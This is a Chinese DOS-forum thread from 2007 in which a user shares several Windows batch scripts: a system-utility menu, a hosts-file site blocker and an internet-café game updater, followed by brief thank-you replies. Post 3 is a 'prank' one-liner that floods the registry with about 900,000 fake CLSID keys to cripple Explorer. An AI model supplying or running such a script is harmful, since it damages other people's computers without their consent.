![]() |
中国DOS联盟-- 联合DOS 推动DOS 发展DOS --联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum |
| 游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟 |
|
中国DOS联盟论坛 现在时间是 2026-08-03 06:46 |
共 48,038 主题排行 / 350,123 发帖 / 今日 1 篇 / 48,251 会员排行 |
| DOS批处理 & 脚本技术(批处理室) » 搜集整理的一些批处理. |
| 可打印版本 996 / 8 |
| 第1楼 kkkxtl | 发表于 2007-01-17 08:26 |
| 初级用户 发帖 12 积分 24 | |
|
搜集整理的一些批处理. 小助手批处理
@ECHO off @title 小工具 :start CLS COLOR 0f MODE con: COLS=41 LINES=18 set tm1=%time:~0,2% set tm2=%time:~3,2% set tm3=%time:~6,2% ECHO %date% %tm1%点%tm2%分%tm3%秒 ECHO ──────────────────── ECHO 选择操作,回车! By: 柴子 QQ:3819843 ECHO ──────────────────── ECHO. ECHO 1. 显示或隐藏文件 ECHO 2. 清理系统垃圾 ECHO 3. 注册表解除锁定 ECHO 4. 修复IE浏览器 ECHO 5. 关闭默认共享 ECHO 6. 管理控制MMC ECHO 7. 清除多余启动项 ECHO 8. 注销 ECHO 9. 退出 ECHO. :cho SET Choice= SET /P Choice=请选择: IF NOT "%Choice%"=="" SET Choice=%Choice:~0,1% rem 如果输入大于1位,取第1位,比如输入132,则返回值为1 ECHO. IF /I "%Choice%"=="1" GOTO xianshiyincang IF /I "%Choice%"=="2" GOTO qinglilaji IF /I "%Choice%"=="3" GOTO jiesuo IF /I "%Choice%"=="4" GOTO xiufu IF /I "%Choice%"=="5" GOTO gbgx IF /I "%Choice%"=="6" GOTO mmc IF /I "%Choice%"=="7" GOTO qidongxiang IF /I "%Choice%"=="8" GOTO logoff IF /I "%Choice%"=="9" GOTO end ECHO 不是吧,选择1~9你也不会?再来!!! pause GOTO start :xianshiyincang echo 输入X显示 输入Y隐藏 set /p yszy= if /i "%yszy%"=="""" (goto start) if /i "%yszy%"=="x" (set xy=1 &set yszy=显示 &goto xywj1) if /i "%yszy%"=="y" (set xy=0 &set yszy=隐藏 &goto xywj1) goto xianshiyincang :xywj1 REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ /v Hidden /t REG_DWORD /d %xy% /F >nul echo ---------------------------------------------------------------------- echo 隐藏文件已 %yszy%.刷新即可 pause GOTO start :qinglilaji @echo off echo 正在清理系统垃圾文件,请稍等...... @del /f /s /q %systemdrive%\*.tmp @del /f /s /q %systemdrive%\*._mp @del /f /s /q %systemdrive%\*.log @del /f /s /q %systemdrive%\*.gid @del /f /s /q %systemdrive%\*.chk @del /f /s /q %systemdrive%\*.old @del /f /s /q %systemdrive%\recycled\*.* @del /f /s /q %windir%\*.bak @del /f /s /q %windir%\prefetch\*.* @rd /s /q %windir%\temp & md %windir%\temp @del /f /q %userprofile%\cookies\*.* @del /f /q %userprofile%\recent\*.* @del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" @del /f /s /q "%userprofile%\Local Settings\Temp\*.*" @del /f /s /q "%userprofile%\recent\*.*" echo 清理系统垃圾完成! pause GOTO start :jiesuo @echo REGEDIT4>>123.reg @echo.>>123.reg @echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]>>123.reg @echo "DisableRegistryTools"=dword:00000000>>123.reg @REGEDIT /S /C 123.reg @del "123.reg" /q /f echo 成功解除注册表锁定! pause GOTO start :xiufu @echo off echo 耗时较长,请等待... rundll32.exe advpack.dll /DelNodeRunDLL32 %systemroot%\System32\dacui.dll rundll32.exe advpack.dll /DelNodeRunDLL32 %systemroot%\Catroot\icatalog.mdb /s regsvr32 setupwbv.dll /s regsvr32 wininet.dll /s regsvr32 comcat.dll /s regsvr32 shdoc401.dll /s regsvr32 shdoc401.dll /i /s regsvr32 asctrls.ocx /s regsvr32 oleaut32.dll /s regsvr32 shdocvw.dll /I /s regsvr32 shdocvw.dll /s regsvr32 browseui.dll /s regsvr32 browseui.dll /I /s regsvr32 msrating.dll /s regsvr32 mlang.dll /s regsvr32 hlink.dll /s regsvr32 mshtml.dll /s regsvr32 mshtmled.dll /s regsvr32 urlmon.dll /s regsvr32 plugin.ocx /s regsvr32 sendmail.dll /s regsvr32 comctl32.dll /i /s regsvr32 inetcpl.cpl /i /s regsvr32 mshtml.dll /i /s regsvr32 scrobj.dll /s regsvr32 mmefxe.ocx /s regsvr32 corpol.dll /s regsvr32 jscript.dll /s regsvr32 msxml.dll /s regsvr32 imgutil.dll /s regsvr32 thumbvw.dll /s regsvr32 cryptext.dll /s regsvr32 rsabase.dll /s regsvr32 triedit.dll /s regsvr32 dhtmled.ocx /s regsvr32 inseng.dll /s regsvr32 iesetup.dll /i /s regsvr32 hmmapi.dll /s regsvr32 cryptdlg.dll /s regsvr32 actxprxy.dll /s regsvr32 dispex.dll /s regsvr32 occache.dll /s regsvr32 occache.dll /i /s regsvr32 iepeers.dll /s regsvr32 wininet.dll /i /s regsvr32 urlmon.dll /i /s regsvr32 digest.dll /i /s regsvr32 cdfview.dll /s regsvr32 webcheck.dll /s regsvr32 mobsync.dll /s regsvr32 pngfilt.dll /s regsvr32 licmgr10.dll /s regsvr32 icmfilter.dll /s regsvr32 hhctrl.ocx /s regsvr32 inetcfg.dll /s regsvr32 trialoc.dll /s regsvr32 tdc.ocx /s regsvr32 MSR2C.DLL /s regsvr32 msident.dll /s regsvr32 msieftp.dll /s regsvr32 xmsconf.ocx /s regsvr32 ils.dll /s regsvr32 msoeacct.dll /s regsvr32 wab32.dll /s regsvr32 wabimp.dll /s regsvr32 wabfind.dll /s regsvr32 oemiglib.dll /s regsvr32 directdb.dll /s regsvr32 inetcomm.dll /s regsvr32 msoe.dll /s regsvr32 oeimport.dll /s regsvr32 msdxm.ocx /s regsvr32 dxmasf.dll /s regsvr32 laprxy.dll /s regsvr32 l3codecx.ax /s regsvr32 acelpdec.ax /s regsvr32 mpg4ds32.ax /s regsvr32 voxmsdec.ax /s regsvr32 danim.dll /s regsvr32 Daxctle.ocx /s regsvr32 lmrt.dll /s regsvr32 datime.dll /s regsvr32 dxtrans.dll /s regsvr32 dxtmsft.dll /s regsvr32 vgx.dll /s regsvr32 WEBPOST.DLL /s regsvr32 WPWIZDLL.DLL /s regsvr32 POSTWPP.DLL /s regsvr32 CRSWPP.DLL /s regsvr32 FTPWPP.DLL /s regsvr32 FPWPP.DLL /s regsvr32 FLUPL.OCX /s regsvr32 wshom.ocx /s regsvr32 wshext.dll /s regsvr32 vbscript.dll /s regsvr32 scrrun.dll mstinit.exe /setup regsvr32 msnsspc.dll /SspcCreateSspiReg regsvr32 msapsspc.dll /SspcCreateSspiReg echo. echo 恭喜恭喜。IE修复结束... pause GOTO start :gbgx @echo off net share c$ /delete 2>nul net share d$ /delete 2>nul net share e$ /delete 2>nul net share f$ /delete 2>nul net share g$ /delete 2>nul net share h$ /delete 2>nul net share g$ /delete 2>nul net share admin$ /delete 2>nul net share i$ /delete 2>nul echo Windows Registry Editor Version 5.00> c:/delshare.reg REG ADD HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RestrictAnonymous /t REG_DWORD /d 1 /F >nul REG ADD HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters /v AutoShareWks /t REG_DWORD /d 0 /F >nul REG ADD HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters /v AutoShareServer /t REG_DWORD /d 0 /F >nul echo 已经关闭所有默认共享. echo. pause goto start :mmc start %windir%/system32/mmc.exe GOTO start :qidongxiang @ ECHO OFF @ ECHO ──────────────────── @ ECHO 自动清理所有非必要启动项,仅保留输入法。 @ ECHO 减少不必要资源占用,使系统运行顺畅。 @ ECHO ──────────────────── PAUSE reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe /d C:\WINDOWS\system32\ctfmon.exe reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32" reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v hkey /d HKLM reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v inimapping /d 0 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v item /d IMJPMIG reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v command /d "C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName" reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v hkey /d HKLM reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v inimapping /d 0 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v item /d TINTSETP reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32" reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v hkey /d HKLM reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v inimapping /d 0 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v item /d TINTSETP reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run del "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\*.*" /q /f del "C:\Documents and Settings\Default User\「开始」菜单\程序\启动\*.*" /q /f del "%userprofile%\「开始」菜单\程序\启动\*.*" /q /f start C:\WINDOWS\pchealth\helpctr\binaries\msconfig.exe goto start :logoff logoff :end exit |
|
| 第2楼 kkkxtl | 发表于 2007-01-17 08:30 |
| 初级用户 发帖 12 积分 24 | |
|
可屏蔽网址的批处理 整理2
@setlocal ENABLEDELAYEDEXPANSION title 可屏蔽网址的批处理. mode con cols=50 lines=15 echo ************************************************* echo *****************选择如下操作******************** echo. echo. echo ***************1.添加要屏蔽的网址**************** echo ***************2.删除已屏蔽的网址**************** echo ***************3.查找已屏蔽的网址**************** echo ***************4.退出**************************** echo. copy C:\WINDOWS\system32\drivers\etc\hosts C:\WINDOWS\system32\drivers\etc\hosts.txt>nul :chose set /p enter=请你输入你的选择: if not "%enter%"=="" set enter=%enter% if /i "%enter%"=="1" goto add if /i "%enter%"=="2" goto del if /i "%enter%"=="4" goto end if /i "%enter%"=="3" goto check goto chose :add set /p input=输入要添加的网址 if /i "%input%"=="n" goto start echo 127.0.0.1 %input%>>C:\WINDOWS\system32\drivers\etc\hosts.txt echo 成功添加屏蔽网址%input% echo 请准确的输入or按n退出! copy C:\WINDOWS\system32\drivers\etc\hosts.txt C:\WINDOWS\system32\drivers\etc\hosts>nul goto add :del echo ~_~你选择了删除操作切记务必最好输入完整的网址~_~ set /p del=输入要删除的网址: if /i "%del%"=="n" goto start @for /f "tokens=* delims=" %%i in ('findstr /i /v /c:%del% C:\WINDOWS\system32\drivers\etc\hosts.txt') do ( set var=%%i echo !var!>>b.txt ) copy b.txt C:\WINDOWS\system32\drivers\etc\hosts.txt>nul del b.txt echo 操作完成 echo 请准确的输入or按n退出! copy C:\WINDOWS\system32\drivers\etc\hosts.txt C:\WINDOWS\system32\drivers\etc\hosts>nul goto del :check for /f "tokens=2 delims= " %%i in ('findstr /i /c:"www" C:\WINDOWS\system32\drivers\etc\hosts.txt') do (set var=%%i echo !var! ) for /f "tokens=2 delims= " %%i in ('findstr /i /c:"bbs" C:\WINDOWS\system32\drivers\etc\hosts.txt') do (set var=%%i echo !var! ) copy C:\WINDOWS\system32\drivers\etc\hosts.txt C:\WINDOWS\system32\drivers\etc\hosts>nul pause cls goto start :end copy C:\WINDOWS\system32\drivers\etc\hosts.txt C:\WINDOWS\system32\drivers\etc\hosts>nul del C:\WINDOWS\system32\drivers\etc\hosts.txt exit |
|
| 第3楼 kkkxtl | 发表于 2007-01-17 08:33 |
| 初级用户 发帖 12 积分 24 | |
|
整人的批处理
@echo off for /l %%i in (100000,1,999999) do @Reg add HKCR\clsid\{00000000-0000-0000-0000-000000%%i}\ShellFolder /f /v Attributes /t REG_BINARY /d 00000000 >nul &@reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{00000000-0000-0000-0000-000000%%i} /f >nul |
|
| 第4楼 kkkxtl | 发表于 2007-01-17 08:35 |
| 初级用户 发帖 12 积分 24 | |
|
自动加手动批处理游戏更新 @echo off
color ec echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo 请选择要更新的游戏 [ 5 秒后自动更新全部游戏 ] echo. echo [1] 手动更新 echo [2] 自动更新 echo [3] 退出更新 echo. CHOICE /T:2,5 /N /C:12 " 手动更新请按[1],自动更新请按 [2] 键,退出更新请按[3] " if errorlevel 3 goto end if errorlevel 2 goto auto if errorlevel 1 goto start :start cls echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo 请选择要更新的游戏 echo. echo [1] 劲乐团 echo [2] 泡泡堂 echo [3] 幻想游戏3.8 echo [4] 热血江湖 echo [A] 全部游戏 echo. CHOICE /C:C1234A /N " 请输入游戏序号,全选请按 [A] 键,退出请按[C] " if errorlevel 6 goto all if errorlevel 5 goto rxjh if errorlevel 4 goto hxyx if errorlevel 3 goto bnb if errorlevel 2 goto jyt if errorlevel 1 goto end :all cls echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo 正在更新全部游戏...... echo. xcopy /s /e /d /y \\admin\游戏 e:\Games\ cls echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo. echo 全部更新完毕,是否继续更新? echo. CHOICE /C:YN /N " 继续更新请按 [Y] ,退出更新请按 [N] " if errorlevel 2 goto end if errorlevel 1 goto start :auto cls echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo 正在更新全部游戏...... echo. for /f "skip=1 tokens=1" %%N IN (\\admin\GameUpdate\Config.ini) Do if %ComputerName%==%%N ( cls echo 正在更新劲乐团...... echo. xcopy /s /e /d /y \\admin\游戏\劲乐团 e:\Games\劲乐团\ cls echo. echo 劲乐团更新完毕...... echo. echo 正在更新泡泡堂...... xcopy /s /e /d /y \\admin\游戏\泡泡堂 e:\Games\泡泡堂\ cls echo. echo 泡泡堂更新完毕...... echo. echo 正在更新幻想游戏3.8...... xcopy /s /e /d /y \\admin\游戏\幻想游戏3.8 e:\Games\幻想游戏3.8\ cls echo. echo 泡泡堂更新完毕...... echo. echo 正在更新热血江湖...... xcopy /s /e /d /y \\admin\游戏\热血江湖 e:\Games\热血江湖\ cls echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo. echo 全部游戏更新完毕,是否继续更新? echo. CHOICE /C:YN /N " 继续更新请按 [Y] ,退出更新请按 [N] " if errorlevel 2 goto end if errorlevel 1 goto start ) Else ( echo. ) exit :jyt cls echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo 正在更新劲乐团...... echo. xcopy /s /e /d /y \\admin\游戏\劲乐团 e:\Games\劲乐团\ cls echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo. echo 劲乐团更新完毕,是否继续更新? echo. CHOICE /C:YN /N " 继续更新请按 [Y] ,退出更新请按 [N] " if errorlevel 2 goto end if errorlevel 1 goto start :bnb cls echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo 正在更新泡泡堂...... echo. xcopy /s /e /d /y \\admin\游戏\泡泡堂 e:\Games\泡泡堂\ cls echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo. echo 泡泡堂更新完毕,是否继续更新? echo. CHOICE /C:YN /N " 继续更新请按 [Y] ,退出更新请按 [N] " if errorlevel 2 goto end if errorlevel 1 goto start :hxyx cls echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo 正在更新幻想游戏3.8...... echo. xcopy /s /e /d /y \\admin\游戏\幻想游戏3.8 e:\Games\幻想游戏3.8\ cls echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo. echo 幻想游戏3.8更新完毕,是否继续更新? echo. CHOICE /C:YN /N " 继续更新请按 [Y],退出更新请按 [N] " if errorlevel 2 goto end if errorlevel 1 goto start :rxjh cls echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo 正在更新热血江湖...... echo. xcopy /s /e /d /y \\admin\游戏\热血江湖 e:\Games\热血江湖\ cls echo. echo 游戏更新中...... echo. echo 有些文件比较大,更新需要一些时间,请稍等...... echo. echo. echo 热血江湖更新完毕,是否继续更新? echo. CHOICE /C:YN /N " 继续更新请按 [Y] ,退出更新请按 [N] " if errorlevel 2 goto end if errorlevel 1 goto start :end Exit |
|
| 第5楼 wanyu555 | 发表于 2007-01-17 11:56 |
| 初级用户 发帖 9 积分 22 | |
|
谢谢啦,菜鸟学习中
|
|
| 第6楼 176953037 | 发表于 2007-01-19 06:48 |
| 新手上路 发帖 4 积分 8 | |
|
这也太强了点儿吧,这不调到无敌模式了吗,
真让人没法活, |
|
| 第7楼 flykiss8 | 发表于 2007-01-30 04:13 |
| 初级用户 发帖 18 积分 36 | |
|
谢谢,菜鸟学习中............
|
|
| 第8楼 yourcells | 发表于 2007-01-31 22:34 |
| 新手上路 发帖 5 积分 9 | |
|
高人啊,长见识了,好好学习。
|
|
| 第9楼 bob1989 | 发表于 2007-02-01 00:18 |
| 中级用户 发帖 144 积分 322 | |
|
厉害厉害`
|
|
|
[ 联系联盟系统管理团队 -
中国DOS联盟 -
标准版 ] Sponsored by ifanr Inc | © 2001–2023 |